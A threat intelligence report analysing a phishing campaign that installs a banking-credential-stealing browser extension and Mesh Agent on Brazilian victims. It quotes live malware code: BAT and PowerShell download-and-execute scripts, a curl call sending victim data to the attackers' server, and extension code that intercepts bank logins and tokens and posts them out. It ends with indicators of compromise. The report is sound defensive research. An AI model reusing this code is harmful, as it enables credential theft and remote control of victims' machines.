Operation Phantom Enigma

Authors: Klimentiy Galkin, Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Highlights

  • A malicious campaign discovered by Positive Technologies specialists is primarily targeting residents of Brazil. Attacks have been detected since the beginning of 2025.
  • Some of the phishing emails were sent from the servers of compromised companies, increasing the chances of a successful attack.
  • The attackers used a malicious extension for Google Chrome, Microsoft Edge, and Brave browsers, as well as Mesh Agent and PDQ Connect Agent.
  • The total number of the malicious extension downloads has exceeded 700. Among the victims, in addition to users from Brazil, were companies from Colombia, Czech Republic, Mexico, Russia, Vietnam, and other countries.

Introduction

At the beginning of 2025, threat intelligence specialists of the Positive Technologies Security Expert Center discovered a malicious email offering to download a file from a suspicious website. The identified attack chain leads to the installation of a malicious extension for the Google Chrome browser, targeting users in Brazil. 

During the investigation, files were found in an open directory belonging to the attackers. This allowed us to identify another variation of the attack involving Mesh Agent or PDQ Connect Agent instead of a malicious browser extension. There were also auxiliary scripts containing links with parameters that included the EnigmaCyberSecurity identifier, which is how the campaign got its name.

Analysis of the attack chain involving browser extension

Figure 1. Attack chain using a browser extension
Figure 1. Attack chain using a browser extension

In the initial version of the attack chain, phishing emails disguised as invoices are used to distribute malware. These emails encourage recipients to download a file from the provided link or open a malicious attachment contained within an archive.

Figure 2. Example of a malicious email
Figure 2. Example of a malicious email

At this stage, several file formats may be used, which will be discussed further.

BAT script

The contents of the BAT script are listed below. Its main task is to download and execute a malicious PowerShell script.

@echo off
:: Verifica se o script está sendo executado como administrador
net session >nul 2>&1
if %errorLevel% neq 0 (
    :: Se não for administrador, solicita elevação
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit
)

:: Baixar e instalar o PowerShell, se necessário
powershell -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Get-Command powershell -ErrorAction SilentlyContinue)) { Write-Output 'Instalando o PowerShell...'; Install-PackageProvider -Name NuGet -Force; Install-Module -Name PowerShellGet -Force; Install-Module -Name PSReadline -Force }"

:: Baixar o arquivo PS1
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://enota.clientepj.com/cliente.ps1' -OutFile '%TEMP%\cliente.ps1'"

:: Executar o arquivo PS1 de forma silenciosa
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\cliente.ps1"

Fragment of the executed PowerShell script:

Add-Type -AssemblyName System.Windows.Forms

# Verifica se já está em execução, não deixa executar 2x.
$currentProcess = Get-Process -Id $PID
$runningProcesses = Get-Process -Name "powershell" -ErrorAction SilentlyContinue | 
    Where-Object {
        $_.Id -ne $PID -and 
        $_.MainModule.FileName -eq $currentProcess.MainModule.FileName
    }

if ($runningProcesses) {
    # Exibe MessageBox em vez de Write-Host
    [System.Windows.Forms.MessageBox]::Show(
        "Já existe uma instância deste script em execução.", 
        "Script em Execução", 
        [System.Windows.Forms.MessageBoxButtons]::OK, 
        [System.Windows.Forms.MessageBoxIcon]::Warning
    )
    exit 1
}

# Função para não deixar executar o script em VM
function Test-RunningInVM {
    # REDACTED
}

if (Test-RunningInVM) {
    exit 1
}

#############################################################################
# Configuraçao do Script - Alterar se necessário
$serverIP = "142.54.185.178"
$serverPort = 5555

$textServerIP = "142.54.185.178"
$textServerPort = 5556

$computerName = $env:COMPUTERNAME
$nomeps1 = "cliente.ps1"
$nomebat = "cliente.bat"
$nomeextensao = "nplfchpahihleeejpjmodggckakhglee"
$linkexetensao = "nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx"
$diretorioExtensoes = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$nomeextensao"
#############################################################################
# ...

The functionality of the PowerShell script includes:

  • Checking for virtualization
  • Checking for Warsaw Technology. This service is developed by GAS Tecnologia along with GBPlugin to protect banking transactions in Brazilian banks. Therefore, the attack mainly targets users in Brazil.
  • As part of the persistence mechanism, a registry value named 'PWSecurity' is created under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, pointing to the BAT script previously relocated to the %APPDATA% directory (see Figure 3)..
Figure 3. Maintaining persistence by adding a script to startup via the %AppData% directory
Figure 3. Maintaining persistence by adding a script to startup via the %AppData% directory
  • Disabling UAC by setting the registry value HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA.
  • Connecting to C2 142.54.185.178, receiving and processing commands (Figure 4).
Figure 4. Processing commands received from the server
Figure 4. Processing commands received from the server

The main section of the script processes commands from the server in an infinite loop. The list of commands and their descriptions is provided below:

TeamDescription
PINGKeepalive request from the server The script sends PONG in response
DISCONNECTCommand to stop the current script process on the victim's system
REMOVEKLCommand to uninstall the script
CHECAEXTChecking the registry for the presence of a malicious browser extension. The server may return the response OKEXT if the extension exists; otherwise, it returns NOEXT
START_SCREENInstalling an extension in the Google Chrome browser by modifying the registry key 1 at HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist. The registry key value uses the extension ID from the Chrome Web Store, for example nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx. After the extension is installed, the browser restarts, and the extension starts working. Upon successful installation, the script returns the response OKEXT to the server; otherwise, it returns NOEXT

MSI file (Windows Installer)

The MSI file is used by attackers to deliver and install the malicious extension for three browsers: Microsoft Edge, Google Chrome, and Brave. The execution sequence within the installer is shown in Figure 5. It includes two main actions: viewer.exe and LaunchExeWithDirectory.

Figure 5. The InstallExecuteSequence table inside the MSI file
Figure 5. The InstallExecuteSequence table inside the MSI file
Figure 6. The CustomAction table inside the MSI file
Figure 6. The CustomAction table inside the MSI file
Figure 7. Files inside the MSI file
Figure 7. Files inside the MSI file

First, unificado.bat is launched with the following command: /EnforcedRunAsAdmin /HideWindow "[#unificado.bat]". The unificado.bat file looks as follows:

@echo off
chcp 65001 >nul

:: Captura Data/Hora
for /f "tokens=2 delims==" %%a in ('wmic os get localdatetime /value') do set DATETIME=%%a
set "DATA_HORA=%DATETIME:~0,4%-%DATETIME:~4,2%-%DATETIME:~6,2% %DATETIME:~8,2%:%DATETIME:~10,2%:%DATETIME:~12,2%"

:: Consulta API ipinfo.io diretamente via PowerShell (100% funcional)
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).ip"') do set "IP_PUBLICO=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).hostname"') do set "HOST_INTERNET=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).city"') do set "CIDADE=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).region"') do set "UF=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).country"') do set "PAIS=%%a"

:: Define device padrão
set "DEVICE=Computador"

:: Verifica Warsaw rodando
sc query "Warsaw Technology" | find "RUNNING" >nul
if %errorlevel%==0 (
    set "WARSAW_STATUS=Warsaw Existente"
    set "STATUS=LIBERADO"
) else (
    set "WARSAW_STATUS=Warsaw Inexistente"
    set "STATUS=BLOQUEADO (Warsaw ausente)"
)

:: Envia ao contador (válido para ambas situações)
curl -G "https://enota.clientepj.com/sapinho/contador.php" ^
    --data-urlencode "data=%DATA_HORA%" ^
    --data-urlencode "ip=%IP_PUBLICO%" ^
    --data-urlencode "host=%HOST_INTERNET%" ^
    --data-urlencode "pais=%PAIS%" ^
    --data-urlencode "uf=%UF%" ^
    --data-urlencode "cidade=%CIDADE%" ^
    --data-urlencode "device=Computador" ^
    --data-urlencode "warsaw=%WARSAW_STATUS%" ^
    --data-urlencode "status=%STATUS%" ^
    --silent --output nul

:: Se Warsaw não existir, bloqueia a instalação automaticamente
if "%WARSAW_STATUS%"=="Warsaw Inexistente" (
    echo O Warsaw nao esta rodando! Instalacao cancelada.
    exit /b 1
)

exit /b 0

The script collects basic information about the victim's system and sends it to the C2 server enota.clientepj.com with the following parameters:

  • Date and time
  • Public IP address
  • Hostname
  • Location
  • Information about the presence of Warsaw Technology
  • Status dependent on service availability

As you can see, further work requires Warsaw Technology. If this service exists in the victim's system, the script completes successfully and the next steps are initiated.

The LaunchExeWithDirectory event executes obfuscated JavaScript code from the event.js file. The file can be found inside the installer (Figure 7). The fragment of JavaScript code after deobfuscation is shown below:

// ...
function killBrowsers() {
  var ajeya = new ActiveXObject("WScript.Shell");
  var kalee = ["taskkill /F /IM chrome.exe", "taskkill /F /IM msedge.exe", "taskkill /F /IM brave.exe"];
  for (var chadley = 0; chadley < kalee.length; chadley++) {
    try {
      ajeya.Run(kalee[chadley], 0, true);
    } catch (kalika) {}
  }
}
function getUserDirectories() {
  var novareign = [];
  if (fso.FolderExists("C:\\Users")) {
    var jarran = fso.GetFolder("C:\\Users");
    var carmenlita = new Enumerator(jarran.SubFolders);
    for (; !carmenlita.atEnd(); carmenlita.moveNext()) {
      novareign.push(carmenlita.item().Path);
    }
  } else {}
  return novareign;
}
var userDirectories = getUserDirectories();
for (var i = 0; i < userDirectories.length; i++) {
  var desktopPath = userDirectories[i] + "\\Desktop";
  var desktopPath2 = userDirectories[i] + "\\OneDrive\\Área de trabalho";
  var startMenuPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs";
  var quickLaunchPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch";
  processShortcuts(desktopPath);
  processShortcuts(desktopPath2);
  processShortcuts("C:\\programdata\\Microsoft\\Windows\\Start Menu\\Programs");
  processShortcuts(startMenuPath);
  processShortcuts(quickLaunchPath);
}
deletarArquivo("c:\\programdata\\event.js");
deletarArquivo("c:\\programdata\\aplicativo.msi");
function alterarStringNoArquivo(jaylynn, demetras) {
  var semaya = new ActiveXObject("Scripting.FileSystemObject");
  try {
    var jacquette = semaya.OpenTextFile("C:\\programdata\\microsoft\\TIMEDATE\\cs.js", 1);
// ...

The algorithm of this Powershell script differs from the previously analyzed one in the following ways:

  • No need to install the extension from the Chrome Web Store, as it is already located next to the .js file.
  • Persistence is gained by searching for and modifying LNK files pointing to browsers in user folders. The--load-extension=<extension-path> parameter is added to them, where extension-path is the path to the extension's source code specified within the script. In this case: C:\programdata\microsoft\TIMEDATE\.

Inno Setup Installer

Unlike MSI, the Inno Setup installer runs a PowerShell script described above in the section about the BAT file:

Figure 8. Example of a PowerShell script within the Inno Setup installer
Figure 8. Example of a PowerShell script within the Inno Setup installer

Extension analysis

The extension consists of several .js files and a manifest file (Figure 9). The main code is located in the file run-back.js, while cs.js is injected into specific pages after they load, as seen in the manifest. The URL patterns in the manifest and script code indicate that they belong to Banco do Brasil.

Figure 9. Malicious extension manifest
Figure 9. Malicious extension manifest

First, let's examine run-back.js, which appears as follows after deobfuscation:

let e = '';
let t = '';
let a = '';
let o = '';
function r(_0x1fa244, _0x30450a) {
  chrome.storage.sync.get("eindeutigeKennung", function (_0x5cc065) {
    a = _0x5cc065.eindeutigeKennung;
    var _0x5cc065 = "https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + _0x1fa244.identificacaoUsuario;
    var _0x10f258 = {
      'method': _0x30450a,
      'headers': {
        'Content-Type': "application/json"
      },
      'body': JSON.stringify(_0x1fa244)
    };
    fetch(_0x5cc065, _0x10f258);
  });
}

// ...

When the extension is installed, the value eindeutigeKennung (German for unique identifier) is placed in the code storage. The value is calculated as shown below:

Figure 10. Generating a unique identifier for the victim
Figure 10. Generating a unique identifier for the victim

The code contains callback functions triggered by the events onBeforeSendHeaders, onBeforeRequest, and onMessage. To interact with the C2 server, the attackers wrote several auxiliary functions. The function r(requestBody, requestMethod) whose code is provided above sends data to the server by including the unique identifier eindeutigeKennung in one of the parameters. The collected information is shown below:

The final path in the linkMethod used in the requestInformation being collected
/armazenar-senha-contaPOSTRequest body, account password, request headers
/login/tokenPOSTRequest body, the user's authentication token in the tokenHeaderDaten parameter
/loginPOSTRequest body, request headers, IP address obtained by addressing ipinfo.io

Below is an example of code that sends information containing user data:

chrome.webRequest.onBeforeRequest.addListener(function (request) {
  let parsedUrl = new URL(request.url);
  if ('POST' === request.method && parsedUrl.pathname.includes("/login")) {
    let loginData = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
    if (loginData && loginData.identificacaoUsuario) {
      savedLoginData = JSON.stringify(loginData);
      interval = setInterval(s, 2000);
    }
  } else {
    if ('POST' === request.method && parsedUrl.pathname.includes("/armazenar-senha-conta")) {
      let reqBodyObject = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
      let reqHeadersObj;
      if (reqBodyObject && reqBodyObject.senhaContaSelecaoInputV1) {
        reqHeadersObj = request.requestHeaders;
        r({
          ...JSON.parse(savedLoginData),
          'senha8': reqBodyObject.senhaContaSelecaoInputV1.senhaContaSelecao,
          'tokenHeaderDaten': reqHeadersObj
        }, "PATCH");
      }
    }
  }
}, {
  'urls': ['<all_urls>']
}, ["requestBody"]);

Another function s() is used to receive and process commands from the attackers' server. It is called by the onBeforeRequest and onMessage events:

chrome.runtime.onMessage.addListener((_message, _sender, _sendResponse) => {
  var _messageData;
  if ("login" === _message.type) {
    savedLoginData = JSON.stringify(_message.data);
    interval = setInterval(s, 2000);
  } else if ("store-password" === _message.type) {
    _messageData = _message.data;
    _message = _message.headers;
    r({
      ...JSON.parse(savedLoginData),
      'senha8': _messageData.senhaContaSelecaoInputV1.senhaContaSelecao,
      'tokenHeaderDaten': _message
    }, 'PATCH');
  }
});

The function s() is shown below:

async function s() {
  chrome.tabs.query({
    'active': true,
    'currentWindow': true
  }, function (_activeTabs) {
    if (_activeTabs[0] && _activeTabs[0].url.includes('apf-apj-')) {
      q = JSON.parse(savedLoginData);
      fetch("https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + q.identificacaoUsuario).then(_response => _response.json()).then(function (_responseObject) {
        if (_responseObject.comando && o != _responseObject.comando) {
          let _messageData = {};
          if ("CODE_ZUM_LESEN" === _responseObject.comando) {
            bildadresse = _responseObject.qr;
            _messageData = {
              'befehlstyp': "codeZumLesen",
              'bildadresse': bildadresse
            };
          } else if ("WARTEN" === _responseObject.comando) {
            _messageData = {
              'befehlstyp': "warten"
            };
          } else if ("SCHLIEBEN_WARTEN" === _responseObject.comando) {
            _messageData = {
              'befehlstyp': "schliebenWarten"
            };
          }
          chrome.tabs.sendMessage(_activeTabs[0].id, _messageData);
          o = _responseObject.comando;
        }
      });
    }
  });
}

This function interacts with cs.js (shown below):

Figure 11. Example of the cs.js file code
Figure 11. Example of the cs.js file code

The code of the files cs.js and s() indicates that their development is incomplete, but their potential functionality is clear. If the active tab's link contains the substring apf-apj- used in the API of Banco do Brasil, the function s() sends a request to the attackers' server at https://financial-executive.com/comando_temporario.php to receive a new command.

The command in s()The command in cs.jsDescription
CODE_ZUM_LESENcodeZumLesenGerman for code for reading. As soon as this command is called, event codeZumLesen is created with the parameter bildadresse, to which the QR code is passed. Presumably, the victim is supposed to see a malicious QR code on the bank's page
WARTENwartenGerman for wait. A new event called "warten" is called. The command is supposed to mimic a loading screen
SCHLIEBEN_WARTENschliebenWartenGerman for stop waiting. A new event, schliebenWarten, is called. The command is supposed to mimic a loading screen

The attacker collects confidential user information used for authentication in a specific service (presumably Banco do Brasil). An interesting feature of the code is the use of German or Portuguese for variable names. This could indicate the attacker's location or suggest that the stealer's code was borrowed rather than written from scratch.

Analysis of the attack chain involving Mesh Agent

Figure 12. Attack chain involving Mesh Agent
Figure 12. Attack chain involving Mesh Agent

Alongside the attack via a browser extension, an attack using Mesh Agent malware was discovered.

Mesh Agent RAT (Remote Access Tools) is software that runs on remote devices and connects to the MeshCentral server for remote device management. This agent is compiled for Windows, various Linux distributions, macOS, and FreeBSD. Moreover, it is compiled for a variety of different processors including x86-32, x86-64, ARM, and MIPS.

Source: github.com/Ylianst/MeshAgent

The malware is distributed using the same method: a phishing email about an invoice containing an MSI file. After successful installation, the agent runs and connects to the server via the link wss://mesh.computadorpj.com/agent.ashx and https://mesh.computadorpj.com/. In addition to Mesh Agent, several samples of PDQ Connect Agent installers were found on the attackers' servers.

The RAT attack enables attackers to spread across the infected infrastructure, whereas the malicious extension attack targets only a single user device. One of the consequences of the attack for companies will be described in the section Victims.

Figure 13. Structure of the .msi file containing Mesh Agent
Figure 13. Structure of the .msi file containing Mesh Agent

Network infrastructure and extension analysis

The study identified several malicious domains and attacker servers. Thanks to a detailed study of the TLS certificates and other artifacts from the two attack chains, several network indicators were identified:

  • *.computadorpj.com
  • financial-executive.com
  • 142.54.185.178
  • clientepj.com
  • ranchocentral.com

The domain computadorpj.com shares a TLS certificate with the domain nfe-fiscal.com. Both domains were located at the IP address 107.174.231.26 of the autonomous system (AS-COLOCROSSING). 

Other subdomains were partially located at the IP address 142.54.185.178 used in a PowerShell script to send commands to the victim's system.

Figure 14. Using a single IP address for multiple malicious domains
Figure 14. Using a single IP address for multiple malicious domains

The infrastructure can be expanded by analyzing the metadata of malicious installers (Figure 15). Searching open sources, including public sandboxes, helped identify additional network indicators for investigation, such as GitHub repositories.

Figure 15. Metadata used in Windows Installer samples
Figure 15. Metadata used in Windows Installer samples

The new network indicators obtained from ITW links of detected samples with similar metadata (Figure 10) are as follows:

  • 18.231.162.77
  • https://github.com/contaaws20251
  • hamrah-tejarat.com
  • servidor2025.com
  • atual2025.com
  • syarousi-search.com

The PowerShell scripts used to install the extension on the victim's system specify the identifier from the Chrome Web Store. The detected extension identifiers are as follows:

  • nplfchpahihleeejpjmodggckakhglee
  • ckkjdiimhlanonhceggkfjlmjnenpmfm
  • lkpiodmpjdhhhkdhdbnncigggodgdfli

These extensions have already been removed from the store as malicious, but the change history of some of the created extensions is still available.

Figure 16. Example of created malicious extensions
Figure 16. Example of created malicious extensions

Victims

As mentioned earlier, the analyzed malicious campaign utilizes two attack chains: one involving a malicious extension targeting users in Brazil, and another using Mesh Agent. The second attack enables attackers to spread across the infrastructures of infected companies.

It was possible to identify the compromised organizations and one of the infection targets using data in the attackers' open directory. In the file https://enota.clientepj.com/uploads/resultados.txt, links of the type http://<victim-domain>/about.php?key=EnigmaCyberSecurity were listed. Some of the links still show activity (Figure 17, certain fields are blurred for privacy). The name of the bottommost text field translates to English as Enter the victim's email address below. Multiple email addresses can be entered at once. The source code of this page is also available in the attackers' open directory.

Figure 17. Example of a link on a compromised website
Figure 17. Example of a link on a compromised website

Therefore, the attackers require the servers of the compromised companies to send emails for infecting users in Brazil with a malicious extension.

A total of 70 unique victim companies were identified based on the links. The extension was downloaded 722 times from the Chrome Web Store. However, some of these downloads were performed by sandboxes. The geographical distribution of the victims is shown in the figure below:

Figure 18. Number of malicious files in the campaign.png
Figure 18. Number of malicious files in the campaign

Conclusions

The study highlights the use of rather unique techniques in Latin America, including a malicious browser extension and distribution via Windows Installer and Inno Setup installers. To increase the versatility of their attacks and maximize the number of potential victims, the attackers used two attack chains: one involving an extension and the other using Mesh Agent or other RATs.

Files in the attackers' open directory indicate that infecting companies was necessary for discreetly distributing emails on their behalf. However, the main focus of the attacks remained on regular Brazilian users. The attackers' goal is to steal authentication data from the victims' bank accounts. We will continue monitoring this malicious activity and will promptly notify you of any new large-scale attacks.

Indicators of compromise

Network IOCs

Malicious servers and repositories

Indicator
18.231.162.77
107.174.231.26
142.54.185.178
54.207.88.51
atual2025.com
clientepj.com
computadorpj.com
financial-executive.com
hamrah-tejarat.com
https://github.com/contaaws20251
nfe-fiscal.com
ranchocentral.com
servidor2025.com
syarousi-search.com
nf-eletronica.org
relay.lombrelone.com
webrelayapi.online

Browser extension identifiers

NameIdentifier
Segurança PJnplfchpahihleeejpjmodggckakhglee
Cliente Empresasckkjdiimhlanonhceggkfjlmjnenpmfm
Diagnostico Segurança PJlkpiodmpjdhhhkdhdbnncigggodgdfli
 oppljeanncdedoikfggbcdkjbjpmhlgo

File indicators

MD5SHA-1SHA-256
0353a0dbc9f016da09303ee1a3b75d2f5723cfbec0371d08d089017d0fe53906b5354498bae3cce0cbe6a0227ed33fe566f0e8fe4780f2a57743acc98f6859740d2d254d
0844863f61271a66aa015ad9dcf06e5184405c17a5c7b78ed9e637f0c0009295ef0c632ba3d85fad74a24a9fc45b91c82f178a6bf5eb041804ecfb4f2c529622772e8b8f
0906079ea36374150e8d617145021147fffd9d328fbb27285c3e7c1e2c812736985ce482f349010a752484df873c6b00f9949bd986052e28660fb9da4d50a9fe6546a61f
0a998db008d5a4bb25468eeeeaac8b44747c79f9c0f1693709dec3c521995a7af36425154e8911f412b8bdcd14f3d59a520f3a247881b1e03435314e259152a6cd229a60
170cf97d5b48e63f52a0c5a40034cba44594f638b30290c1f8196dc8eae558934cf6b20f51f9e59f72549f45d6c77cd9492b24a699ebcfe599a37508d6768f96c69c0013
1d0de20947db8cc673a36c3ad2c2c19592af4b4733a7afd979bce1ad9892256a7a76bb87af1f0f5907822d9ec734a992880b596205e85b1f13ab219043356520d26c0536
1dc5fb3e8b3e52ef16eb6e94516343026ba1af8bc92127be44d18451b9c10d9d94565e0a1e87a8c3ce82fa83adbf832d00ebad5cc68ad02ea8f2257f6c4b1b9f996c4e13
23eb9468f04b7ad1eb2ead4efa2342bae3b68a93688f8ff801336cc9d5e46ce4a4822fff07f7ce55e75afda05241c70710d5c6769909d94193e41b370a29b5dca3ef1f3d
2769dd3214f6f09866401a5b4df2ec2e93295d2f085f13b03d6bd8becb5cdf277307249be193b19689ac577ee138f1521817906fbb58e15b93563e8d60569ea23caa5c4e
2e40ee3587f6a9e7b6e55e2542dd2a15bbea981ce922497eb28de9399abf55c1fad3f3f6fa1292c6996c19849c9a8a74c190276ac655a7f53bbd1dd2a831e1410969dff6
324801048d4cae3613e3461066fbb42c7bb6681cd789f8640ebb3f448d79fc3a5db1e2ac7e75683addbb186cb4bd234e754a097bff4d0e529d9b82b7454851f15a859a09
33d04e8a112ad9209b165249f967cfe8517176001dc749098aedc7be424eb0de3d8d4bd8e1b09ac54179c487b68e25bd938b963b50e037639e4482488ee60ae7752434a7
3b7904ceacced9c6b27e4b9a622cbb6b170a5d58c8dd577340d340982a690f70646828e114db2e49a5234ae0f49e1df57da2db7c646347c9a5f18dbff35f3c564da48fdf
43d3a6d7dda4369a9fe93e5689606ae995d0f18ae7a30a78386e49acd788b3f18da79663fd084fcc0405bc255369b7e40276e5076db5fafa0a8c859e46b7c474e37b8f2e
46f9751a0ed9666b93c115434093eac2bcfb10ac2785dbf06c610e73149725faa2206e83721047615331748b04400c7f1d43627f439feba8e17cc14355a6577d9f120988
4def6fe4b7f7d018377b21b40d2b8600780e7e7243282e164fca585403b8b0d70edee736510db924e0e130ac8d87ba17fce6209a221b549bf4dd8a9b672ccd756e8480f5
5171cc256dd5725fcb7dc7bbe0965dda03424d93a4b7ef8215cc400b9592b1e4531d47715d0a3e7df85fe3150dbcd9229fa1015701cdb844a68a099f720b6eb18f97a3fd
531aa37428cd0849af683bc314073189571a6fd38d389e2d812b2c7f8c53370f9862b1884a6d6670556d735258830be327fc21f1c9b06fa40a720a1a5249dadb8b2c70b7
5aa3702095fa1c248968603eb842787fb176474e39c23603ea87de842645bb389a5caedfa6a1987bff904eca067121a8fba91ab50008560fdd39547e720f698ed6516468
5c433c7e3c60562f8e3af773445d290bdc47f68a835a713715dcc0752deccbf8e74cf606d80acee5688ba6f56640f77ab8719b45a3002c98b6b43c79d1d963ec29241b3d
60d0ea728a9ffe749025516863e6efed881fd1823fcc67690ec444dd17bb7b68eeb7ef42d5d5e9b91321b11103a548729832c4ed3fb6465e9a059ac2ba8365899c1fa864
63173c6a611f5c0633c9fe419a6acce27ef6997553945792f162f69c060de380c4df2e92bf4faeebd8873a27d77643e4e7ffcc6d793b396252b5788868886d081203f1a8
664424672d964a32bf96884dcc636c809089a0ac734c1e61f497ed373cec0dfcd4c4306ab13c1c2e5af41bafe7356bc974cdd77bf4aa40ef36001301a240091ab734b6b9
6645245c890c880e2a47d9dd0e15cb83c0c7f0662c6fa4798332664f23736eed895cb3ce46ff9565e31f15db54a1e661b5654dade5a0f3d09cabbaa5312a654aef2b6dab
666e7765467a3cf0337880c92aa3f085cdb35be5658164ba8d9f9e9e817b154ef6bf5e248f2e76968370ed2fe34f1b5148a06580bd21df426ad960d10c3323885d655fc2
69a61d9f28291f841c79a76828d8518797b2717507ffbb5d4abd91fa3d061e952ac0f2179233a51cf93e0c0518cda2d333c6cee03fe62a6ce2f058af88ac295c1281f5a6
74706fb1c99937bab18d8d1089ffcd968f85c35b803ac96091ad8484254b81b828408c5b4969e5e05eb9d098a9f3dd366dce99c05927ff462b8d2637b7f3975723c325b6
7b0bd22325896fd820246a9025ef0a802fff70c6670466e2e56817f4ea548dd0f1376430a42b08566fefc01c6197bebd8ac25abe5abf8eb1a6390997ebf48b3992791f86
7bfc7569ef1db7a12352dee90ca72623519dbbc674182934cd2dda5a229b44a6707e87e7333c037c9bb3ca75c92e5e2b3dd884df387a4ab73f8f9c8efc39c27e43b9c317
830ab96a64f067f40c67fa0438796721d0da6694ee450606cea9a664f8525252788d80e6698fb4a365fe8f2798acc10a7fe50ac1d247d96b82935300195358247a4fcdc9
83b36297191f3086d16bb5cbab39c44e370b7ba5acad64f1107df448509d26af25a41901c9b193708fa1ce5827f716094da04634977a24b5123efba782034bfa9245a33d
85f1de2dc7d5ac2f2bd3b2aef021a36c8014c678bbf130ef444b76d177679b3183954bfb7838cbf8aa4b64a425aa5df0ef2bc6d17c12a018f085e73c50ac6f3a186553f0
85f95fec7c5c2f36f62a4126e580a13c19f0fa67b474429c4eeb0befd7a05ebc70caae94d9dd2a9d82250bb2860014e8b819e258c1565aaf94a5014a962f3d34bab05697
8f7ea7be4386da8059546cc2a0646de14e0812d11ee4344e599d5c8a5f52e3e0664d2642a9c42f11e75c3525d8d0f3f036c2f603e60fe102fc68b8f22a8b4c81779652a2
95dd9909a01a55a946006767b251f3e5d6e2802d31bb0bf608883c7ab81ec7c56f6dc3bec567f1564602f5c6b24af521900bc6ab0ab15e8edab6f531927891d418df201d
97f5939048e0a83f0d6f05600d2f9542df8c7dca4433dea9eb804ff6e30cba16b9152d05214fdc967fa82756c0a06f984c66920167fcf3b15399d4e890ad708a67ebafe1
98899ba20c86ecf1d64608781de80c3f2fccced92ab2b748b84a968f72f59f8e165b14d034f4b3b40f4fc5f9489d493aa39d891c8be4f394356ff0a9e4e6a59ca19110ea
9a7b784874e343a55dea0ab35183c27866b0392afdef5cf385a749dcd324d6e9c4c211f922ac1595064d31b5b4c816dee72a4a3eb31221661e6ee0cc6a103b5da8d95d1f
9c684af15da207355889fe7d4dbe35ab32aec47ff33d742d98c8a0f10cd36707397d93ab135ddfdd7e252cd35704d378a2aec88e81d013aea418b4c9bb11675259df7a0a
a0a3a22edd7671cf1cefe2a53db6dd3b67a41cd4eee2b85806227752c18b592f488e75361f320e9295db50008784a61cb0a85f47a60af5ed874ae9f8720a76caad422708
acf1521bc18e24891de6aeca55e61c6db019a7e35b3707dc2c7951af134ad388ead18e2a499bded154151cb3b4cad7d15de043bec60c8689f70fe8739fafb6aef9c711f1
b5b88044425ab8994856c9eec5a35cb65db34fb55bbce1bfbe2890ec21dd434ed3882dd779f36a9a16e9af0a3ed438691d1f7b52e8241983dd8faf77ed6e505a62dbeac4
b969f8d6691a5d74200d52b9bab339c74db1b9ddd56173525dc26506832d516dbbb82db0bf1350c7a753ab98533e5937dedadfb8730c885d37acdf074e347e3eb3986f29
bbdb2d90c80a5a2bfb6f0f0fe86f355930e463796a79c7694d1bc574f8f4bc2a7943b795268087c834f3080122ebd70d9db6353318756507a3c2d168b557be724daac72e
c1568382ff7e057efe1c02e3a590e01765dc515a91fa57be682874257da817631b7f2cbf84463241f0b57598e336497a4f221f2b2a447eea56ee37a9a14f48a2af800029
c18827f7f8f6e9652b97e31efde1cc5a2b3243c4e1ba593b556835bc13ebda146ff104fd77add700b03756e5c0fc23df8ecb0f298889070260ca2aecb80fedb626379c0e
c7bcc453584c21d5bce55fe2373d41ad8191beacc481c122cf8fac490eb0fd2b7553cc44508a4646dbf7deaa99eee8db6b21e36c14c1570f627b31a264e8fa84e7db063b
ceb0177875b90946d08227b18803628d00000cabc4845ac8f83aef49a8829dcdb2532ffdec00a674d55c6bd6907b584090b2bd9ff2eb3433e2276fc2b0e0366cdae63875
d0881696636dd6e4f6f0dd012edb78c5c7cd7e580a8aa8cdb79245f59027d9f281ef6da28c9ea06032cd4f0dbed1db51e25df78d681bae2551a1628b6fcdbb00e3e83fa5
d3d01e99862091c639b64a7d1da43f6337da771c801b2a458dd99b35f8db239504a6bb6e09824e2d82d8e9681dcc3196fdc4a14f9074c84eb90571140957359ddb909859
d936130d881c639ecdded9d417804aff91bd1c7b874e5c01daa0b73a6518299d2716e5598446a0e9b9179cca4622fdc739bc65e0626438cecf60a65d99626d44aa0984f2
dbf9108e87a449f4edfb6cd01bd05fba9aaa4a515d39feab7aa2b250698a7adbabc4f2c7ec6a40e329d3fcb8a751ea92875db161bb983575f5ec9a5c1aedd2a8131df56d
ddfb7c83bf37f47f72b9885077ac108118faefd144e4059485451b0de206994218c5ca6112155ad4d117ea2b13131df52de4045e635e100d45bac057d6f5674e894dec99
e05c634227a36f9ca6e1a1ebca7f38de188c7649f2a0afdc9c53404fad7042cf37bedfefb31afa0814439a5b080dddcbdced6049d2038656174fc12ea0f8503c7853c372
e20139a8689fdde975d91d04b1cdab78a378c1572202986886faf22bc4ee5be7d347e3a837e2db3f730694135c02d6420156a58628d773ba467c2e7de534148a91b050ca
